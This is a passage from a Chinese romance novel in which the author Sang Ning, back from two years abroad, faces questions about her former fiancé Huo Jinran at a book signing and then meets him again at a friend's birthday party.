那天过后，桑柠没再联系过霍今然，只是将他以往送给她的礼物，以及那枚订婚戒指，都打包寄给了他。
仿佛跟他断了所有的羁绊。
但却没舍得删掉霍今然的微信，以及跟他互关的微博小号，桑柠也没舍得取关。
连过往发的那些微博，她也舍不得删，只是一一改了权限，所有微博都仅她自己可见了。
桑柠想，或许有一天，等时间抚平她心里的伤痛，她什么都不在乎时，就可以坦然的清空掉关于霍今然的一切。
至于现在，她还办不到。
十月仅剩余的几天一晃而过，转眼进入十一月。
跟霍今然订婚这件事，也仿佛连同消逝的那几天，一同留在了十月的末尾。
桑柠身边的人，都很默契的不再提起。
关于她跟霍今然后来怎么样了，也没人敢问，只有连歆语过来探望她时，才多嘴问了一句：“霍今然后来有过来跟你解释么？”
“嗯。”桑柠轻轻应了一声。
“所以呢，跟他和好没？”
桑柠低着眼眸，拆掉了连歆语带过来的蛋糕上的丝带：“我跟他已经分手了。”
她说这句话时，平静的好像在说一件无关紧要的事，听起来也不像是在赌气。
“你认真的？”
这话刚问出来，连歆语就后悔了，她终于发现桑柠左手的中指已经没了那枚订婚戒指。
桑柠拿出一块蛋糕，刚吃了一口，她就没什么胃口了。
她双手托着蛋糕，似是跟连歆语倾诉，也像是在自言自语：“你说以后结婚后，我还是像以前一样一个人吃饭，一个人睡觉，我的丈夫跟我的父母一样，忙着生意，一忙起来就把我丢到一边不管不顾，那这场婚姻，这个丈夫，对我来说到底有什么意义呢。”
桑柠想起童年的大部分记忆，都是她抱着洋娃娃坐在门口的台阶上，眼巴巴的望着通往回家的路上，等着父母的身影出现。
直到万家灯火亮起，她身后的房间昏暗一片，暗戳戳的光影落了她一身，对面邻居的小孩已经跟父母说说笑笑的围坐在饭桌前，她却只能看着，那一幕遥远的像是天上的星星，她再羡慕，却也够不着。
在很多个晚上，她都还没等来父母，就独自上床睡觉了。
桑柠抬眸，望向了对面的连歆语：“歆语，我好孤独。”
连歆语想劝她，还有她跟陆佑安陪着她，可话到嘴边，却哽咽的说不出来。
朋友的陪伴，始终抵不过家人，以及亲密关系里另一半的陪伴，与关爱。
桑柠觉得孤独，是从来都没有在父母，以及霍今然那里得到完全的情感满足，她心底缺失的那一块，并不是友情可以弥补的了的。
霍今然是护着桑柠的，旁人都能看的明，可失望也不是一天累积出来的。
桑柠很喜欢霍今然，旁人也都一清二楚，她对他的喜欢，像摊在白纸上似的，一目了然。
所以才会在失望那么多次，还可以一次次的原谅霍今然，直到最后失望彻底，她才终于学会了放手。
这个过程有多煎熬，也只有她自己心里清楚。
连歆语没再多劝什么，她也不想再劝和，亦或让桑柠原谅霍今然，像是多劝一句，只会让好姐妹多受一分委屈。
既然桑柠已经选择了分手，连歆语也支持她所有的选择。
至于在感情里受到的那些伤害，也都交给时间吧。
久了，都会自愈的。
没过几天，京城下了一场大雪，厚厚的积雪覆盖了整个城市，雪厚的，像是能埋葬所有的过往。
等那场积雪融化后，桑柠飞往了国外，开始了将近两年的游学计划。
这两年，她去了很多地方，离京城也越来越远，仿佛之前发生的事，也跟着那场融雪消逝而去。
偶尔深夜回忆起来时，跟霍今然相爱过这件事，也仿佛是上辈子的事了。
两年的时间不算长，却也不短，足够一个刚出生的小婴儿，咿咿呀呀的学会了说话。
也足够忘掉那些不愉快的经历。
等再回到京城时，又是一年的春天。
离开那么久，京城的很多地方，桑柠都感觉到有些陌生了，从前她经常去的小食店，有的关门了，有的也已经搬迁了。
很多地方都不再熟悉了。
跟过往隔得远，远到桑柠恍惚的以为，就算有些事摊在她的面前，她也终于可以坦然面对了。
在国外游学的两年里，桑柠没在网络上更新任何作品，一直处于封笔的状态。
游学归来，她也带着她的新作品出现在了大众面前。
三月初的第一个周末，桑柠在某个礼堂里举行了一场新书读者签售会。
那天来的读者很多，近千人，不大的礼堂里，热闹非凡。
签售会开始时，主持人热情的开场道：“今天来了很多读者，盼了两年的新作品，我想读者朋友们肯定有很多话想要跟您说，在签售会开始之前，我们先来个简短的提问环节可以吗？”
桑柠坐在白沙发里，温婉大气，她微点头：“可以。”
大堂里响起一阵欢呼声，只有某个昏暗的角落里，安静如初。
但平静之下，暗地里，有些情愫不断泛滥，像是要把人生生吞噬掉。
新书的情节，跟上层圈这两年的某些传言如出一辙，也是男主全心全意宠爱女主，可到头来还是被女主甩了。
巧的是，也是在订婚那日。
就好像两年前，在订婚那天，桑柠跟霍今然提出了分手。
她将跟他的故事写进了她的小说里，还给了一个圆满的结局，现实的遗憾在故事里，有了个美好的结局。
她对霍今然的情意，也都全部封存到了故事里，圆满至此。
从此以后，山水不相逢，此生不复见，跟他再无瓜葛，也再不会有任何的留念。
“那我们想提问的读者朋友，举一下手好不好？”主持人面向底下的读者问道。
有很多读者纷纷举起了手。
主持人随机点了一个：“那就这位读者朋友吧。”
工作人员将话筒传给了那位读者。
许是也听到过上层圈的那个传言，那位读者拿到话筒，就直接问桑柠：“听说您以前跟霍氏集团的掌门人谈过恋爱，新书的情节就是来自您的亲身经历么？”
大堂里喧哗一片。
但很快，又突然安静了下去，无数双眼都齐刷刷的望向了台上的桑柠。
像是都很期待桑柠的回答。
日光从大堂顶端的玻璃窗透进来，笼下一片光亮里，尘埃浮动。
桑柠还坐在那里，面色不改，像是早就忘记了从前发生的事，云淡风轻：“不好意思，书里的情节都是虚构的。”
“那您跟霍今然有谈过恋爱么？”那位好事的读者继续追问道。
还直言不讳的点出了霍今然的名字。
大堂里突然议论纷纷。
不远处，隐秘的角落里，霍今然隐在
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暗光里，他长指抵着下巴，望着台上的桑柠，神色如常的寡淡散漫。
旁边的唐志诚安静的陪在一边，听到那位读者的提问，他偏头望了一眼霍今然，又转头望向了台上的桑柠。
得知桑柠今天的新书签售会，霍今然早早的就让唐志诚给他安排了个位置，但真的来了，见到了人，却也只能远远看着。
这一面可能对于霍今然来说，已经很满足了，毕竟有两年多，他都没见过桑柠了。
但对于他身旁人来说，只觉有些心酸。
唐志诚不禁叹了一口气。
桑小姐好像真的已经没那么在意霍总了。
她看起来已经完全从那段感情里走了出来，而困在原地迟迟不肯朝前走的，只有霍总一个人。
霍今然依然不动声色的隐在昏暗的角落里。
跟桑柠隔着台上台下，不远不近的距离，却足足隔了两年多之久。
她真是狠心。
这两年多，霍今然没她的任何消息，就连跟他互关的微博小号也不更新了，她好像一下子从他的世界消失无影了。
那阵子霍今然很忙，倒时差，不间断的会议，忙的很充实。
可偶尔空下来，霍今然还是感觉到他心里仿佛空缺了一块，虚的他有些不好受。
分开的两年里，霍今然也终于彻底明白了一件事。
跟桑柠在一起的那些日子里，发生了很多事，每发生一件，两个人共同承担，就好像有人用锤子将她敲进他身体里一寸，很痛。
可如果分开，骨肉相剥，会比那些痛苦痛上千倍万倍。
他已经离不开她了。
台上，桑柠依然淡然自若的坐在那里。
哪怕听到霍今然的名字，她脸上也没有任何的情绪起伏，平静的像是听到了一个无关紧要，亦或一个陌生人的名字。
但无人知晓的暗地里。
当忽然听到那个熟悉的名字时，桑柠心尖微颤，有些情绪直往上顶，猝不及防。
逼得她差点冒出眼泪来。
原来有些事，有些人，真正毫无预兆的摊在她面前时，她还是无法坦然面对。
隔了那么久，走了那么远，饶了那么大一个圈，可当别人唤出他的名字，也不过那么简单的三个字，她在暗地里，旁人窥探不得的内心深处，早就已经溃不成军。
原来从未忘记过。
也原来其实一直都忘不掉。
桑柠紧握话筒的那只手，掌心也不禁微微生了汗渍：“我不认识这个人。”
这话进了旁人耳，平静里似乎还透着一股无所谓，也只有桑柠自己知道，那句话说出口时，几乎每个字都在颤抖。
台下，昏暗的角落里。
听到桑柠最后的话，霍今然低下眼睫，冷哼了一声：小没良心的，白宠你那么久了。
但随之而来的失落感，也已开始不受控的逐渐覆满心底。
没见这一面时，霍今然的心里多少还抱着一些期待，桑柠跟他互关的微博小号，还没取关他，过往的微博仅她可见，却也没删除。
她应该还是喜欢他的。
但这一面见过之后，看到桑柠坦然面对跟他的过往，听到他的名字，也是平静如常，她看起来已经不在乎他了。
也没那么在意他了。
所以不取关账号，不删除微博，不是因为舍不得，而是无所谓了。
原来比之桑柠离开他，还要更难受的是。
她心里似是已经没有他这个人了。
48. 48
一结束提问环节，开始签售，桑柠也就顾不上其他了。
读者很多，排队上来，签名，合照。
刚才泛滥的情绪都还没来得及蔓延，就已经被桑柠抛之脑后了。
只是签到一半，忽得一阵熟悉的感觉袭来，桑柠不禁抬头望了过去，前方却什么都没有。
许是她的错觉。
旁边的临时助理帮她翻开小说的扉页，递了过去：“柠姐，怎么了？”
桑柠回神，她握紧签字笔：“没事。”
低头，继续签名。
走出礼堂，霍今然上了车，刚坐稳，就看到跟着上车的唐志诚，给他递过来一本小说。
是桑柠的亲笔签名。
霍今然接过：“怎么来的？”
“从桑小姐的读者那边买来的。”唐志诚回道，“霍总放心，不会让桑小姐知道您来过的。”
霍今然低下眼睫，没再说话。
车子启动，朝着霍氏大厦驶去。
霍今然掀开小说的扉页，看到桑柠的亲笔签名，他指腹轻轻摩挲着黑色签字笔的痕迹。
这一趟过来，见着她了，却遗憾的是，没能跟她说上话。
霍今然掏出手机，拍下那本小说，而后他又打开了微博。
关注的桑柠主页一大片空白，连喜欢的赞都锁上了，透不出一点信息。
像是分开的这两年，霍今然也没她的任何消息。
也不知道她这两年过得怎么样。
余光瞥到桑柠的那本书，霍今然拍下一张照片，发了他的第一条微博，权限为好友圈。
仅互关好友可见的微博。
一张照片。
一句简单的文案。
——最近好吗？
结束完新书签售会，已是傍晚五点多了。
出了礼堂，迎面一股寒风吹来，桑柠不禁裹了下身上的大衣。
慢慢朝着停车场走去时，桑柠在路边买了杯奶茶，刚才签售时一直坐着，也不觉得累。
可不知道为什么，走出礼堂时，她只觉整个人都很疲惫，像是心理紧绷过后的状态。
她握着那杯奶茶，坐到了路边的木椅上。
不远处，有两个小女生低头捧着手机，热闹的聊着天。
“完了，我的cp彻底be了？”
“什么呀？”
“你看。”有个女生将手机递过去，播放了视频。
一段对话跟着透了出来。
“那您跟霍今然有谈过恋爱么？”
“我不认识这个人。”
……
听到这里，桑柠才意识到，那边两个小女生正在聊她跟霍今然。
她低着眼睫，没什么焦点的望着眼前石板路的花纹。
那边对话声又跟着传了过来。
“你还在磕呀，我怎么好像记得听你说过，两年前他俩就分手了呀。”
“对啊，我们今日有桑虽然是个很小众的cp，可是都很长情的好吧。”
“可是已经两年了，都这么久了，就算有一方结婚生子，也都很正常啊。”
“你别说了，戳到我心里的痛点了。”那女生好不难过的继续道，“这两年我们cp粉，最怕的就是听到姐姐有了新欢，也怕听到哥哥跟别的千金联姻。”
……
桑柠眼睫微颤，有春日乍寒的冷风拂过她的面颊，掌心里的奶茶也还有温度。
她什么都感受到了。
也感受她心里泛起的酸涩，在听到霍今然跟别的千金联姻，这句话时。
但如今，跟霍今然再无瓜葛的她，已经没有拥有任何多余情绪的资格了。
他未来会属于任何人。
却不会再属于她了。
那天签售会结束后，桑柠就窝在了家里，哪儿也没再去。
从国外游学回来，她就一直忙着新作品，京城的首场签售结束后，她总算有了空余的时间，可以收拾下房间了。
离开两年，很多东西都旧了，桑柠收拾出来一大箱子。
看书柜里堆满了书，桑柠想着挑拣出一些旧的书籍，捐出去，刚打开书柜的门，最下面的一排架子里，哗的掉出来好几本书。
桑柠蹲下，开始收拾起来，刚整理到一半，她攸地顿在了那里。
几本书里，夹杂着一个熟悉的记事本。
那是她两年前想丢掉，却舍不得，只好藏起来的。
记录了她跟霍今然恋爱日常的记事本。
桑柠将手上的书放到一边，抽出了那个记事本，她坐到地板上，随身倚着书柜。
临近中午的房间里，有大片日光落进来，暖融融的，桑柠的指尖却微凉，深呼了一口气，她才终于慢慢打开了记事本。
还没翻几页，桑柠的眼底开始潮湿，那些回忆仿佛长了手，扒在她身上，将她往回忆里拽。
像是逐渐陷入沼泽地里。
呼吸突然开始不顺，胸口也跟着骤然紧缩。
在这时，桌上的手机突然响起微信新消息的提示音，接连几声，将桑柠从回忆里拉扯了回来。
桑柠深呼吸了下，她合上记事本，随手拿起手机，看了一眼，是连歆语给她发来的信息。
——签售会已经忙完了是吧。
——你这两天忙什么呢。
桑柠：在家，收拾东西。
连歆语：这会儿你也在家么？
桑柠：嗯，在。
连歆语：那正好，我就在附近，我过去找你吧，好久都没聊天了。
桑柠：行，那你过来吧。
回复完连歆语，桑柠将手机放到一边，她又拿起记事本，起身，看到装旧物的箱子，她迟疑了下，可还是放了进去。
只是抱起箱子，准备下楼丢掉时，她又舍不得了，到底是将箱子又放到了墙角。
桑柠转身，从冰箱里取出两块蛋糕，和一些水果。
十来分钟后，连歆语就赶了过来。
“从楼底下买的奶茶，还是你以前喜欢喝的熊猫烧仙草。”连歆语递过去两杯奶茶。
桑柠接了过来：“你刚忙完？”
连歆语低头换着鞋：“对呀，杂志社这几天一直都很忙，不然我早就来找你了。”
换完鞋，连歆语走进了房间。
桑柠拎着两杯奶茶，走到沙发那里，坐了下来，她将其中一杯奶茶递给了连歆语：“我休息完，很快就要去别的城市了。”
连歆语接过奶茶：“什么时候？”
“月底。”
“还好，不耽误给我庆祝生日，这两年我的生日聚会没你在，都不完整了。”
桑柠低着眼睫，将吸管插到奶茶里，没说话。
“干嘛不说话，不想来啊？”
桑柠就着吸管，慢慢的小口掇着奶茶，却还是不说话。
她其实也不好意思问，那天聚会霍今然会不会过去，她怕撞见他尴尬。
也怕连歆语会误会她，都两年多了，还躲着前男友，心思不明。
见桑柠一直沉默不语，连歆语突然意识到了什么，她贴过去，说起了心里话：“你跟我说句实话，你不参加我的生日聚会，是不是因为怕撞见霍今然。”
多年好姐妹，真是藏不住一点心思。
桑柠慢吞吞的
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吐出吸管，刚想要说什么，就听旁边的连歆语又说道：“都两年了，还要这样躲着他么，除非。”
顿了一下，连歆语才又小心翼翼的试探道：“你还喜欢他？”
桑柠捧着奶茶：“神经，喜欢的话，会两年不联系么。”
她随口敷衍了一句。
将奶茶放到桌上，桑柠又跟连歆语说：“我只是还没做好准备，怕在生日会上，又有人提起我跟霍今然的事，我不想再听到了。”
连歆语微点了下头：“上次签售会上的视频，我也看到了，那个读者确实挺八卦的。”
末了，连歆语又微叹了口气：“算了，我们单独庆祝也行，你只要不是故意躲开霍今然就行了，不然我以为你多恨他呢。”
听连歆语这样讲，桑柠都不知道该怎么接话了，两年了，什么感情都淡了，她倒也不至于到现在对霍今然还有怨恨。
虽然当时的确很委屈，怨他，也恨他。
只不过过了这么久了，很多事情，桑柠其实早就已经释怀了。
看桑柠不说话，似是有隐情的样子，连歆语突然问了这么一句“以前霍今然去国外时，总是包机过去，你知道他为什么从来都不搭乘私人飞机么？”
桑柠转头望向连歆语，神色疑惑，看来她明显不知道那些缘由。
连歆语跟着道：“因为之前霍今然搭乘私人飞机时，差点送了命，想陷害他的那个人，就是跟他同父异母的二哥，为了将他从掌权人的位置上拉下来，而不择手段，也丝毫不顾及亲情。”
桑柠眼睫微颤，缓缓偏过了头，视线笼在地毯上，却也没什么焦点。
她神色跟着恍惚了下。
耳边继续传来了连歆语的声音：“霍今然为了娶你，忤逆了他父亲，老爷子咽不下那口气，就在订婚宴那天，故意安排了董事局会议。”
“让霍今然在公司和你之间做选择。”
“这些我都是听陆寒笙说的，站在我的角度，我其实很理解你，那天霍今然的选择的确对你来说不公平，可站在他的立场，他那个时候好像也没别的选择，只能先巩固好事业，才能更好的保护你。”
“我说这些，也并不是在袒护霍今然，我只想让你知道真实原因，就算以后跟他真的不相往来了，我也希望你不要带着怨恨。”
无论身处在什么样的地位，不过都是可怜人罢了。
都有逃脱不了的泥潭，而身不由己。
桑柠窝在那里，忽得想起跟霍今然分开之前的那个情人节，夜里他在她耳边乞求般的挽留她。
从前那句，桑柠，别离开我。
如今再想起，桑柠的心里还是会觉得疼惜。
比从前还要疼。
看桑柠沉默那么久，连歆语也没搁这个话题继续，看到屋子里还有些没收拾的纸箱，她问：“在收拾房间么？”
桑柠微点头：“嗯，想丢一些东西，不过还没收拾完。”
“要不要我帮你？”连歆语起身，她走过去，蹲到一个箱子前，看里面都是些用旧的磨损物品，她跟着问道，“这些都是要丢掉的吧？”
“嗯。”桑柠随口应了一声。
应完，桑柠似是忽地想起了什么，她蹭地一下站起了身。
“那我帮你放门口，等会儿我走的时候，顺便给你带下去。”
“等一下！”桑柠连拖鞋都来不及穿，光脚就要冲过去。
可能是太急切，她都忘了沙发旁边的茶几，一个转身冲过去时，膝盖不小心重重的磕到了茶几的边角。
“嗷！”桑柠抱着膝盖蹲到了地上。
唔。
好疼。
49. 49
瞧着桑柠差点摔倒，连歆语连忙放下手中的箱子，走过去，将她扶到了沙发上。
“你怎么了，突然那么激动干嘛？”
桑柠揉着磕到的膝盖：“没，那个箱子你就给我放到那里吧，等下还是我自己扔吧。”
连歆语疑惑的瞅着她：“就为了一个箱子，至于么。”
桑柠闷着头，心虚的都不敢跟连歆语对视。
连歆语站起身，她走过去，又重新抱起了箱子：“那我给你放回去，到时你自己丢下去吧。”
“好。”桑柠轻吐出了口气。
身后突然没了动静，桑柠转头看了过去，看到连歆语正蹲在箱子前，手里拿着本记事本。
也就是那本。
桑柠想丢掉却舍不得。
却也不想让人看到的，她跟霍今然的恋爱回忆录。
“……”
桑柠咬了下唇。
完了。
藏不住了。
那本记事本的封面，赫然写着：桑柠?霍今然。
连歆语似是明白了什么。
她拿着记事本，走过去，坐到了桑柠的身旁：“难怪呢，我说你怎么那么激动呢，原来箱子里有你舍不得的东西。”
桑柠一把抢过记事本，塞到了沙发边缘的缝里，藏那么严实，像是生怕有人抢走似的。
连歆语搁旁边瞧着她那副样子，禁不住调侃了一句：“不装了，还是装不下去了？”
“我装什么了？”桑柠揉着膝盖。
“刚才是谁说的，喜欢的话会两年不联系么，那都两年了，怎么关于霍今然的东西，还舍不得丢掉？”连歆语心直口快道。
桑柠拿起茶几上的奶茶，就着吸管，咕咚咕咚的喝了两三口：“那不是还没来得及丢掉么。”
“你就嘴硬吧，我看你能撑多久。”
说完，连歆语也跟着拿起奶茶，喝了起来。
喝到一半，连歆语偷偷的跟陆寒笙发了个微信：等我生日时，你看霍今然有空没，请他一起来吧。
陆寒笙：不怕他碰到桑柠？
连歆语：我还怕他碰不到呢。
陆寒笙：？
连歆语：回头跟你讲。
桑柠握着奶茶，余光看到连歆语拿起手机，也不知道在给谁发微信，反正不再缠着她了，她倒是松了一口气。
慢慢的咬上吸管，奶茶还没吸上来，就听旁边的连歆语突然又丢过来一句：“你要是真的不在意霍今然了，那就过来参加我的生日聚会，你要是不去，就说明你还在意。”
连歆语凑过去，挨近她：“那我就告诉霍今然，你还想着他。”
“咳——”桑柠差一点就被吸上来的那口奶茶给呛着。
被这么一闹，连歆语的生日聚会，她不去也得去了。
没过多久，就是连歆语的生日，本来很平常的一次聚会，桑柠去那么多次了，可这一次，头天的晚上，她竟破天荒的失眠了。
在床上翻来覆去睡不着，桑柠索性起身，打开了床头柜的台灯。
昏黄的光亮笼下来，刺得人眼睛睁不开，桑柠用手背抵着额头，适应了会儿，才慢慢的睁开眼睛。
拿过手机看了一眼，已经半夜两点多了。
她还是睡不着。
打开微博，看了下最新的读者留言，她又切换到广场的页面，随便看了些微博。
磨蹭了许久，桑柠点开微博的账号管理，大片空白的页面，只有顶端她大号微博的账号。
跟霍今然关注的那个小号，她早就删除了。
这两年，她也一直忍着没登录。
捧着手机，踟蹰了许久，桑柠这天晚上还是没勇气输入那个账号。
不敢登录，但其实已经预想了各种结果。
他是不是已经取关了她。
他是不是已经注销了账号，跟她从此再无关联。
桑柠垂下脑袋，将手机抵着脑门，也不知道大半夜她在烦恼什么，那两种预想，不管能不能成真。
现实情况都是她已经跟霍今然分开两年了，早就没有任何关系了。
所以。
她到底在烦恼什么呢。
即便在连歆语的聚会上，偶然遇到霍今然，随便打声招呼就是了，不是很简单的事么。
将手机搁到一边，桑柠随手拿起床头柜上的小镜子，举到面前，对镜练习了一句：“你好，好久不见。”
镜子里的她板着脸，一副苦大深仇的样子，仿佛后面有人拿枪抵着她，这声招呼才能打出来似的。
一脸的不情愿。
“……”
桑柠又试着笑了下：“你好，好久不见。”
笑的不自然。
皮笑肉不笑，好难看。
“……”
不笑看起来不对，笑起来也不对。
算了。
到时就顺其自然吧。
瞧着怎么练习都不对，桑柠干脆放下镜子，关灯，重新躺回了床上。
后来也不知何时睡着的，桑柠隐约觉得，她好像迷迷糊糊说梦话时，都是那句你好，好久不见。
纠结了一晚上，可其实到了连歆语的生日聚会，桑柠才发现她白紧张了一场。
直到聚会快结束时，她都没见到霍今然。
那帮朋友还在玩游戏，桑柠独自拿着一块小蛋糕，走到了阳台，想自个清净会儿。
“桑柠。”
蛋糕还没吃两三口，忽得听见有人唤她，桑柠转头看了过去，原来是聚会上刚认识的新朋友乐姗。
桑柠将蛋糕放到一边：“找我么？”
乐姗将手上桑柠的新书递了过去：“我有个妹妹很喜欢你的小说，能帮我给她签个名么？”
“当然可以。”
乐姗又从包里掏出笔：“麻烦你了。”
桑柠接过笔：“你客气了。”
签完，乐姗没离开，她抱着书，跟桑柠闲聊了起来：“其实我偶尔也会在网上写小说，只不过写的不太好，看的人也不多。”
“没事的，我刚开始写的时候也是很少人看的，你要真喜欢的话，就坚持下去试试。”桑柠给予了些鼓励。
乐姗微点头：“好，我听你的。”
话落，从阳台的入口处忽得传来一个男声，音色低哑，又凉凉的：“这里能抽烟么？”
那声音一响起，桑柠就不自禁的怔愣在了那里，脑海里也跟着一片空白。
乐姗回头看了一眼：“可以的，您随意。”
霍今然微点头，抬脚，朝着阳台的深处走去。
桑柠还站在那里，指尖微凉。
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夜里的风吹过，夹着霍今然身上熟悉的淡香味，一并袭来，桑柠差一点就忘记了呼吸。
她低着眼睫，余光中，看到霍今然跟她擦肩而过，却并没有跟她打一声招呼。
像个陌生人似的。
夜里，桑柠练习了那么多次的开场白，果然没什么用，是她自作多情了。
“我其实有想过……”
耳边响起乐姗的声音，桑柠却心不在焉，后面的话，她到底是没听到。
“桑柠？”乐姗唤了她一声。
桑柠回神，她慢慢抬眼望了过去：“嗯，怎么了？”
乐姗只好再重新讲一遍：“我是想问你，是不是因为我写的是冷题材，所以没人看呀。”
“你写的什么题材？”
“仙侠。”
乐姗的话刚落下，从那边传来“咔哒——”一声。
是打火机滑轮扣动的声响。
离得远，烟味散的也快，只能断断续续闻到少许清淡的烟味，可桑柠的心思还是晃了神。
“哦。”桑柠应了一声，却没再说什么了。
乐姗有些疑惑，但看桑柠状态不太对的样子，好像也打扰她久了，于是也没再追问下去。
只说了句：“我听你的，先坚持下去试试再说，我不打扰你了，我进去跟他们玩游戏去了。”
说完，乐姗抱着那本书就离开了。
阳台这边，只剩下了桑柠跟霍今然两个人。
桑柠还站在那里，微侧着身子，连余光都不敢多看霍今然一眼，整个人别扭，又生硬。
仿佛一呼一吸间，都在意着那边霍今然的存在。
不久，听到那边烟头熄灭的细嗦声响，好像是霍今然抽完烟了，紧跟着响起了脚步声，他要离开了。
桑柠垂着眼睫，她按捺着胸口处砰砰直跳的心跳，假装没所谓的拿起了还剩下一半的蛋糕。
叉了一小块送进嘴里，桑柠其实也尝不出什么味道来，她的注意力还全都在那边霍今然的身上。
脚步已经越来越近了。
不过须臾，桑柠的余光中就看到了霍今然的身影，再一次的与她擦肩而过。
跟刚才一样的淡漠，冷然。
桑柠眼睫微颤，嘴里的奶油蛋糕应该是甜的，她却味同嚼蜡。
蛋糕是怎么都吃不下了。
估摸着霍今然已经离开，桑柠端起还剩下一半的蛋糕，她闷着头，抬脚离开时，她不由得轻叹了口气。
那口气却也没叹出她心里的忧闷。
快要走到阳台门口时，察觉有人站在门口，桑柠不禁抬头望了过去。
看到的却是霍今然。
时间仿佛轰然停顿，耳边嘈杂声也逐渐褪去，桑柠的眼中只有霍今然一个人。
他双手插兜，懒慢的倚着门框，神色散淡，但比之两年前，他到底是成熟稳重了许多。
有清凉的光落下来，染亮他眉眼间淡如水的情绪，他视线落在桑柠身上，暧昧缱绻，似是从刚才就等在了那里。
桑柠端着蛋糕，怔在那里，没办法再往前走，却也开不了口说话。
像是等了许久，却也不过半分钟的光景，霍今然终于先于开了口，他声音如常的温润淡雅。
跟她打了声招呼：“好久不见。”